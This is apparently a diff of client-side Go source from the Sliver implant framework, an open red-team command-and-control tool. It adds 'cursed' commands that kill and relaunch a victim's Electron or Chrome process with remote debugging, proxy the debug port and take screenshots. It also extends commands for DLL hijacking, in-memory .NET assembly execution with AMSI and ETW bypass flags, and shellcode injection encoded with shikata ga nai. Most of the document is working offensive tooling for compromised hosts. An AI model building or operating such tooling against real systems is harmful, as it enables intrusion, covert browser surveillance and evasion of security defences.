targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
con.Printf(console.Clearln + "\r")
if err != nil {
con.PrintErrorf("Failed to query debug targets: %s\n", err)
return
}
if len(targets) == 0 {
con.PrintErrorf("Zero debug targets found\n")
return
}
con.PrintInfof("Found %d debug targets, good hunting!\n", len(targets))
}
func avadaKedavraElectron(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
exists, err := checkElectronPath(electronExe, session, ctx, con)
if err != nil {
con.PrintErrorf("%s", err)
return nil
}
if !exists {
con.PrintErrorf("Executable path does not exist: %s", electronExe)
return nil
}
electronProcess, err := checkElectronProcess(electronExe, session, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if electronProcess != nil {
con.PrintWarnf("Found running '%s' process: %d (ppid: %d)\n", path.Base(electronExe), electronProcess.GetPid(), electronProcess.GetPpid())
con.PrintWarnf("Sliver will need to kill and restart the process in order to perform code injection.\n")
con.PrintWarnf("%sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
con.Printf("\n")
confirm := false
err = survey.AskOne(&survey.Confirm{Message: "Kill and restart the process?"}, &confirm)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if !confirm {
con.PrintErrorf("User cancel\n")
return nil
}
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
Request: con.ActiveTarget.Request(ctx),
Pid: electronProcess.Pid,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if terminateResp.Response != nil && terminateResp.Response.Err != "" {
con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
return nil
}
}
curse, err := startCursedElectronProcess(electronExe, session, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
return curse
}
func checkElectronPath(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (bool, error) {
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(ctx),
Path: electronExe,
})
if err != nil {
return false, err
}
return ls.GetExists(), nil
}
func checkElectronProcess(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
return nil, err
}
for _, process := range ps.Processes {
if process.GetOwner() != session.GetUsername() {
continue
}
if process.GetExecutable() == electronExe || path.Base(process.GetExecutable()) == path.Base(electronExe) {
return process, nil
}
}
return nil, nil
}
func startCursedElectronProcess(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*core.CursedProcess, error) {
con.PrintInfof("Starting '%s' ... ", path.Base(electronExe))
debugPort := uint16(ctx.Flags.Int("remote-debugging-port"))
args := []string{
fmt.Sprintf("--remote-debugging-port=%d", debugPort),
}
// Execute the Chrome process with the extra flags
// TODO: PPID spoofing, etc.
electronExec, err := con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
Request: con.ActiveTarget.Request(ctx),
Path: electronExe,
Args: args,
Output: false,
})
if err != nil {
con.Printf("failure!\n")
return nil, err
}
con.Printf("(pid: %d) success!\n", electronExec.GetPid())
con.PrintInfof("Waiting for process to initialize ... ")
time.Sleep(2 * time.Second)
bindPort := insecureRand.Intn(10000) + 40000
bindAddr := fmt.Sprintf("127.0.0.1:%d", bindPort)
remoteAddr := fmt.Sprintf("127.0.0.1:%d", debugPort)
tcpProxy := &tcpproxy.Proxy{}
channelProxy := &core.ChannelProxy{
Rpc: con.Rpc,
Session: session,
RemoteAddr: remoteAddr,
BindAddr: bindAddr,
KeepAlivePeriod: 60 * time.Second,
DialTimeout: 30 * time.Second,
}
tcpProxy.AddRoute(bindAddr, channelProxy)
portFwd := core.Portfwds.Add(tcpProxy, channelProxy)
curse := &core.CursedProcess{
SessionID: session.ID,
PID: electronExec.GetPid(),
PortFwd: portFwd,
BindTCPPort: bindPort,
Platform: session.GetOS(),
ExePath: electronExe,
}
core.CursedProcesses.Store(bindPort, curse)
go func() {
err := tcpProxy.Run()
if err != nil {
log.Printf("Proxy error %s", err)
}
core.CursedProcesses.Delete(bindPort)
}()
con.PrintInfof("Port forwarding %s -> %s\n", bindAddr, remoteAddr)
return curse, nil
}
func getElectronProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
return nil, err
}
for _, process := range ps.Processes {
if process.GetOwner() != session.GetUsername() {
continue
}
if isChromeProcess(process.GetExecutable()) {
return process, nil
}
}
return nil, nil
}
+75
View File
@@ -0,0 +1,75 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
func CursedRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
kill := ctx.Flags.Bool("kill")
bindPort := ctx.Args.Int("bind-port")
core.CloseCursedProcessesByBindPort(session.ID, bindPort)
if kill {
confirm := false
err := survey.AskOne(&survey.Confirm{Message: "Kill the cursed process?"}, &confirm)
if err != nil {
con.PrintErrorf("%s", err)
return
}
if !confirm {
con.PrintErrorf("User cancel\n")
return
}
// Get cursed process
var cursedProc *core.CursedProcess
curses := core.CursedProcessBySessionID(session.ID)
for _, curse := range curses {
if curse.BindTCPPort == bindPort {
cursedProc = curse
}
}
if cursedProc == nil {
con.PrintErrorf("Failed to find cursed process\n")
return
}
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
Request: con.ActiveTarget.Request(ctx),
Pid: int32(cursedProc.PID),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if terminateResp.Response != nil && terminateResp.Response.Err != "" {
con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
return
}
}
}
@@ -0,0 +1,69 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"fmt"
"io/ioutil"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/overlord"
"github.com/desertbit/grumble"
)
func CursedScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
curse := selectCursedProcess(con)
if curse == nil {
return
}
con.Println()
con.PrintInfof("Querying debug targets ... ")
targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
con.Printf(console.Clearln + "\r")
if err != nil {
con.PrintErrorf("Failed to query debug targets: %s\n", err)
return
}
target := selectDebugTarget(targets, con)
if target == nil {
return
}
con.PrintInfof("Taking a screenshot of '%s' ... \n\n", target.Title)
quality := ctx.Flags.Int64("quality")
if quality < 1 || quality > 100 {
con.PrintErrorf("Invalid quality value, must be between 1 and 100\n")
return
}
data, err := overlord.Screenshot(curse, target.WebSocketDebuggerURL, target.ID, quality)
if err != nil {
con.PrintErrorf("Failed to take screenshot: %s\n", err)
return
}
saveFile := ctx.Flags.String("save")
if saveFile == "" {
saveFile = fmt.Sprintf("screenshot-%s.png", time.Now().Format("20060102150405"))
}
err = ioutil.WriteFile(saveFile, data, 0644)
if err != nil {
con.PrintErrorf("Failed to save screenshot: %s\n", err)
return
}
con.PrintInfof("Screenshot saved to %s\n", saveFile)
}
+109
View File
@@ -0,0 +1,109 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"fmt"
"strconv"
"strings"
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// CursedChromeCmd - Execute a .NET assembly in-memory
func CursedCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
cursedProcesses := [][]string{}
core.CursedProcesses.Range(func(key, value interface{}) bool {
curse := value.(*core.CursedProcess)
cursedProcesses = append(cursedProcesses, []string{
fmt.Sprintf("%d", curse.BindTCPPort),
strings.Split(curse.SessionID, "-")[0],
fmt.Sprintf("%d", curse.PID),
curse.Platform,
curse.ExePath,
curse.DebugURL().String(),
})
return true
})
if 0 < len(cursedProcesses) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"Bind Port", "Session ID", "PID", "Platform", "Executable", "Debug URL",
})
for _, rowEntries := range cursedProcesses {
row := table.Row{}
for _, entry := range rowEntries {
row = append(row, entry)
}
tw.AppendRow(table.Row(row))
}
con.Printf("%s\n", tw.Render())
} else {
con.PrintInfof("No cursed processes\n")
}
}
func selectCursedProcess(con *console.SliverConsoleClient) *core.CursedProcess {
cursedProcesses := []*core.CursedProcess{}
core.CursedProcesses.Range(func(key, value interface{}) bool {
cursedProcesses = append(cursedProcesses, value.(*core.CursedProcess))
return true
})
if len(cursedProcesses) < 1 {
con.PrintErrorf("No cursed processes\n")
return nil
}
port2process := map[int]*core.CursedProcess{}
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
for _, cursedProcess := range cursedProcesses {
fmt.Fprintf(table, "%d\t%s\t%s\n",
cursedProcess.BindTCPPort,
fmt.Sprintf("[Session %s]", strings.Split(cursedProcess.SessionID, "-")[0]),
cursedProcess.ExePath)
port2process[cursedProcess.BindTCPPort] = cursedProcess
}
table.Flush()
options := strings.Split(outputBuf.String(), "\n")
options = options[:len(options)-1] // Remove the last empty option
prompt := &survey.Select{
Message: "Select a curse:",
Options: options,
}
selected := ""
err := survey.AskOne(prompt, &selected)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if selected == "" {
return nil
}
selectedPortNumber, _ := strconv.Atoi(strings.Split(selected, " ")[0])
return port2process[selectedPortNumber]
}
+4 -4
View File
@@ -24,7 +24,7 @@ import (
"io/ioutil"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
@@ -39,7 +39,7 @@ func DllHijackCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
targetDLLData []byte
err error
)
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -78,12 +78,12 @@ func DllHijackCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
ctrl := make(chan bool)
msg := fmt.Sprintf("Crafting and planting DLL at %s ...", targetPath)
con.SpinUntil(msg, ctrl)
_, err = con.Rpc.HijackDLL(context.Background(), &sliverpb.DllHijackReq{
_, err = con.Rpc.HijackDLL(context.Background(), &clientpb.DllHijackReq{
ReferenceDLLPath: referencePath,
TargetLocation: targetPath,
ReferenceDLL: localRefData,
TargetDLL: targetDLLData,
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
ProfileName: profileName,
})
ctrl <- true
+25 -4
View File
@@ -22,28 +22,49 @@ import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// EnvGetCmd - Get a remote environment variable
func EnvGetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.Get()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
name := ctx.Args.String("name")
envInfo, err := con.Rpc.GetEnv(context.Background(), &sliverpb.EnvReq{
Name: name,
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if envInfo.Response != nil && envInfo.Response.Async {
con.AddBeaconCallback(envInfo.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, envInfo)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintGetEnvInfo(envInfo, con)
})
con.PrintAsyncResponse(envInfo.Response)
} else {
PrintGetEnvInfo(envInfo, con)
}
}
// PrintGetEnvInfo - Print the results of the env get command
func PrintGetEnvInfo(envInfo *sliverpb.EnvInfo, con *console.SliverConsoleClient) {
if envInfo.Response != nil && envInfo.Response.Err != "" {
con.PrintErrorf("%s\n", envInfo.Response.Err)
return
}
for _, envVar := range envInfo.Variables {
con.Printf("%s=%s\n", envVar.Key, envVar.Value)
}
+23 -3
View File
@@ -22,15 +22,17 @@ import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// EnvSetCmd - Set a remote environment variable
func EnvSetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.Get()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
@@ -46,12 +48,30 @@ func EnvSetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Key: name,
Value: value,
},
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if envInfo.Response != nil && envInfo.Response.Async {
con.AddBeaconCallback(envInfo.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, envInfo)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintSetEnvInfo(name, value, envInfo, con)
})
con.PrintAsyncResponse(envInfo.Response)
} else {
PrintSetEnvInfo(name, value, envInfo, con)
}
}
// PrintSetEnvInfo - Print the set environment info
func PrintSetEnvInfo(name string, value string, envInfo *sliverpb.SetEnv, con *console.SliverConsoleClient) {
if envInfo.Response != nil && envInfo.Response.Err != "" {
con.PrintErrorf("%s\n", envInfo.Response.Err)
return
+24 -5
View File
@@ -22,14 +22,16 @@ import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// EnvUnsetCmd - Unset a remote environment variable
func EnvUnsetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.Get()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
@@ -41,16 +43,33 @@ func EnvUnsetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
unsetResp, err := con.Rpc.UnsetEnv(context.Background(), &sliverpb.UnsetEnvReq{
Name: name,
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if unsetResp.Response != nil && unsetResp.Response.Async {
con.AddBeaconCallback(unsetResp.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, unsetResp)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintUnsetEnvInfo(name, unsetResp, con)
})
con.PrintAsyncResponse(unsetResp.Response)
} else {
PrintUnsetEnvInfo(name, unsetResp, con)
}
if unsetResp.Response != nil && unsetResp.Response.Err != "" {
con.PrintErrorf("%s\n", unsetResp.Response.Err)
}
// PrintUnsetEnvInfo - Print the set environment info
func PrintUnsetEnvInfo(name string, envInfo *sliverpb.UnsetEnv, con *console.SliverConsoleClient) {
if envInfo.Response != nil && envInfo.Response.Err != "" {
con.PrintErrorf("%s\n", envInfo.Response.Err)
return
}
con.PrintInfof("Successfully unset %s\n", name)
+72 -41
View File
@@ -3,43 +3,45 @@ package exec
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"io/ioutil"
"os"
"path"
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// ExecuteAssemblyCmd - Execute a .NET assembly in-memory
func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
filePath := ctx.Args.String("filepath")
assemblyPath := ctx.Args.String("filepath")
isDLL := false
if filepath.Ext(filePath) == ".dll" {
if filepath.Ext(assemblyPath) == ".dll" {
isDLL = true
}
if isDLL {
@@ -48,7 +50,7 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
return
}
}
assemblyBytes, err := ioutil.ReadFile(filePath)
assemblyBytes, err := ioutil.ReadFile(assemblyPath)
if err != nil {
con.PrintErrorf("%s", err.Error())
return
@@ -56,50 +58,79 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
assemblyArgs := ctx.Args.StringList("arguments")
process := ctx.Flags.String("process")
processArgsStr := ctx.Flags.String("process-arguments")
processArgs := strings.Split(processArgsStr, " ")
runtime := ctx.Flags.String("runtime")
etwBypass := ctx.Flags.Bool("etw-bypass")
amsiBypass := ctx.Flags.Bool("amsi-bypass")
assemblyArgsStr := strings.Join(assemblyArgs, " ")
assemblyArgsStr = strings.TrimSpace(assemblyArgsStr)
if len(assemblyArgsStr) > 256 {
con.PrintWarnf(" Injected .NET assembly arguments are limited to 256 characters when using the default fork/exec model.\nConsider using the --in-process flag to execute the .NET assembly in-process and work around this limitation.\n")
confirm := false
prompt := &survey.Confirm{Message: "Do you want to continue?"}
survey.AskOne(prompt, &confirm, nil)
if !confirm {
return
}
}
ctrl := make(chan bool)
con.SpinUntil("Executing assembly ...", ctrl)
executeAssembly, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
Request: con.ActiveSession.Request(ctx),
IsDLL: isDLL,
Process: process,
Arguments: strings.Join(assemblyArgs, " "),
Assembly: assemblyBytes,
Arch: ctx.Flags.String("arch"),
Method: ctx.Flags.String("method"),
ClassName: ctx.Flags.String("class"),
AppDomain: ctx.Flags.String("app-domain"),
execAssembly, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
Request: con.ActiveTarget.Request(ctx),
IsDLL: isDLL,
Process: process,
Arguments: assemblyArgsStr,
Assembly: assemblyBytes,
Arch: ctx.Flags.String("arch"),
Method: ctx.Flags.String("method"),
ClassName: ctx.Flags.String("class"),
AppDomain: ctx.Flags.String("app-domain"),
ProcessArgs: processArgs,
PPid: uint32(ctx.Flags.Uint("ppid")),
Runtime: runtime,
EtwBypass: etwBypass,
AmsiBypass: amsiBypass,
InProcess: ctx.Flags.Bool("in-process"),
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("Error: %v", err)
con.PrintErrorf("%s", err)
return
}
hostName := getHostname(session, beacon)
if execAssembly.Response != nil && execAssembly.Response.Async {
con.AddBeaconCallback(execAssembly.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, execAssembly)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
if executeAssembly.GetResponse().GetErr() != "" {
con.PrintErrorf("Error: %s\n", executeAssembly.GetResponse().GetErr())
HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostName, ctx, con)
})
con.PrintAsyncResponse(execAssembly.Response)
} else {
HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostName, ctx, con)
}
}
func HandleExecuteAssemblyResponse(execAssembly *sliverpb.ExecuteAssembly, assemblyPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
saveLoot := ctx.Flags.Bool("loot")
lootName := ctx.Flags.String("name")
if execAssembly.GetResponse().GetErr() != "" {
con.PrintErrorf("Error: %s\n", execAssembly.GetResponse().GetErr())
return
}
var outFilePath *os.File
if ctx.Flags.Bool("save") {
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
outFilePath, err = ioutil.TempFile("", outFile)
}
con.PrintInfof("Assembly output:\n%s", string(executeAssembly.GetOutput()))
if outFilePath != nil {
outFilePath.Write(executeAssembly.GetOutput())
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
PrintExecutionOutput(string(execAssembly.GetOutput()), ctx.Flags.Bool("save"), ctx.Command.Name, hostName, con)
if ctx.Flags.Bool("loot") && 0 < len(executeAssembly.GetOutput()) {
name := fmt.Sprintf("[execute-assembly] %s", filepath.Base(filePath))
err = loot.AddLootFile(con.Rpc, name, "console.txt", executeAssembly.GetOutput(), false)
if err != nil {
con.PrintErrorf("Failed to save output as loot: %s\n", err)
} else {
con.PrintInfof("Output saved as loot\n")
}
if saveLoot {
LootExecute(execAssembly.GetOutput(), lootName, ctx.Command.Name, assemblyPath, hostName, con)
}
}
+73 -19
View File
@@ -29,20 +29,27 @@ import (
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"golang.org/x/crypto/ssh/terminal"
"golang.org/x/term"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// ExecuteShellcodeCmd - Execute shellcode in-memory
func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
rwxPages := ctx.Flags.Bool("rwx-pages")
interactive := ctx.Flags.Bool("interactive")
if interactive && beacon != nil {
con.PrintErrorf("Interactive shellcode can only be executed in a session\n")
return
}
pid := ctx.Flags.Uint("pid")
shellcodePath := ctx.Args.String("filepath")
shellcodeBin, err := ioutil.ReadFile(shellcodePath)
@@ -54,18 +61,47 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
con.PrintErrorf("Cannot use both `--pid` and `--interactive`\n")
return
}
shikataGaNai := ctx.Flags.Bool("shikata-ga-nai")
if shikataGaNai {
if !rwxPages {
con.PrintErrorf("Cannot use shikata ga nai without RWX pages enabled\n")
return
}
arch := ctx.Flags.String("architecture")
if arch != "386" && arch != "amd64" {
con.PrintErrorf("Invalid shikata ga nai architecture (must be 386 or amd64)\n")
return
}
iter := ctx.Flags.Int("iterations")
con.PrintInfof("Encoding shellcode ...\n")
resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
Encoder: clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
Architecture: arch,
Iterations: uint32(iter),
BadChars: []byte{},
Data: shellcodeBin,
})
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return
}
oldSize := len(shellcodeBin)
shellcodeBin = resp.GetData()
con.PrintInfof("Shellcode encoded in %d iterations (%d bytes -> %d bytes)\n", iter, oldSize, len(shellcodeBin))
}
if interactive {
executeInteractive(ctx, ctx.Flags.String("process"), shellcodeBin, ctx.Flags.Bool("rwx-pages"), con)
executeInteractive(ctx, ctx.Flags.String("process"), shellcodeBin, rwxPages, con)
return
}
ctrl := make(chan bool)
msg := fmt.Sprintf("Sending shellcode to %s ...", session.GetName())
con.SpinUntil(msg, ctrl)
task, err := con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
shellcodeTask, err := con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
Data: shellcodeBin,
RWXPages: ctx.Flags.Bool("rwx-pages"),
RWXPages: rwxPages,
Pid: uint32(pid),
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
ctrl <- true
<-ctrl
@@ -73,16 +109,34 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
con.PrintErrorf("%s\n", err)
return
}
if shellcodeTask.Response != nil && shellcodeTask.Response.Async {
con.AddBeaconCallback(shellcodeTask.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, shellcodeTask)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintExecuteShellcode(shellcodeTask, con)
})
con.PrintAsyncResponse(shellcodeTask.Response)
} else {
PrintExecuteShellcode(shellcodeTask, con)
}
}
// PrintExecuteShellcode - Display result of shellcode execution
func PrintExecuteShellcode(task *sliverpb.Task, con *console.SliverConsoleClient) {
if task.Response.GetErr() != "" {
con.PrintErrorf("%s\n", task.Response.GetErr())
return
} else {
con.PrintInfof("Executed shellcode on target\n")
}
con.PrintInfof("Executed shellcode on target\n")
}
func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte, rwxPages bool, con *console.SliverConsoleClient) {
// Check active session
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -97,21 +151,21 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
})
if err != nil {
con.PrintErrorf("Error: %v\n", err)
con.PrintErrorf("%s\n", err)
return
}
tunnel := core.Tunnels.Start(rpcTunnel.GetTunnelID(), rpcTunnel.GetSessionID())
tunnel := core.GetTunnels().Start(rpcTunnel.GetTunnelID(), rpcTunnel.GetSessionID())
shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Path: hostProc,
EnablePTY: !noPty,
TunnelID: tunnel.ID,
})
if err != nil {
con.PrintErrorf("Error: %v\n", err)
con.PrintErrorf("%s\n", err)
return
}
// Retrieve PID and start remote task
@@ -121,7 +175,7 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
msg := fmt.Sprintf("Sending shellcode to %s ...", session.GetName())
con.SpinUntil(msg, ctrl)
_, err = con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Pid: pid,
Data: shellcode,
RWXPages: rwxPages,
@@ -130,16 +184,16 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
<-ctrl
if err != nil {
con.PrintErrorf("Error: %v", err)
con.PrintErrorf("%s\n", err)
return
}
log.Printf("Bound remote program pid %d to tunnel %d", shell.Pid, shell.TunnelID)
con.PrintInfof("Started remote shell with pid %d\n\n", shell.Pid)
var oldState *terminal.State
var oldState *term.State
if !noPty {
oldState, err = terminal.MakeRaw(0)
oldState, err = term.MakeRaw(0)
log.Printf("Saving terminal state: %v", oldState)
if err != nil {
con.PrintErrorf("Failed to save terminal state\n")
@@ -171,7 +225,7 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
if !noPty {
log.Printf("Restoring terminal state ...")
terminal.Restore(0, oldState)
term.Restore(0, oldState)
}
log.Printf("Exit interactive")
+204 -27
View File
@@ -18,62 +18,239 @@ package exec
import (
"context"
"fmt"
"io/ioutil"
"os"
"path/filepath"
"strings"
"time"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// ExecuteCmd - Run a command on the remote system
func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
cmdPath := ctx.Args.String("command")
args := ctx.Args.StringList("arguments")
output := ctx.Flags.Bool("silent")
token := ctx.Flags.Bool("token")
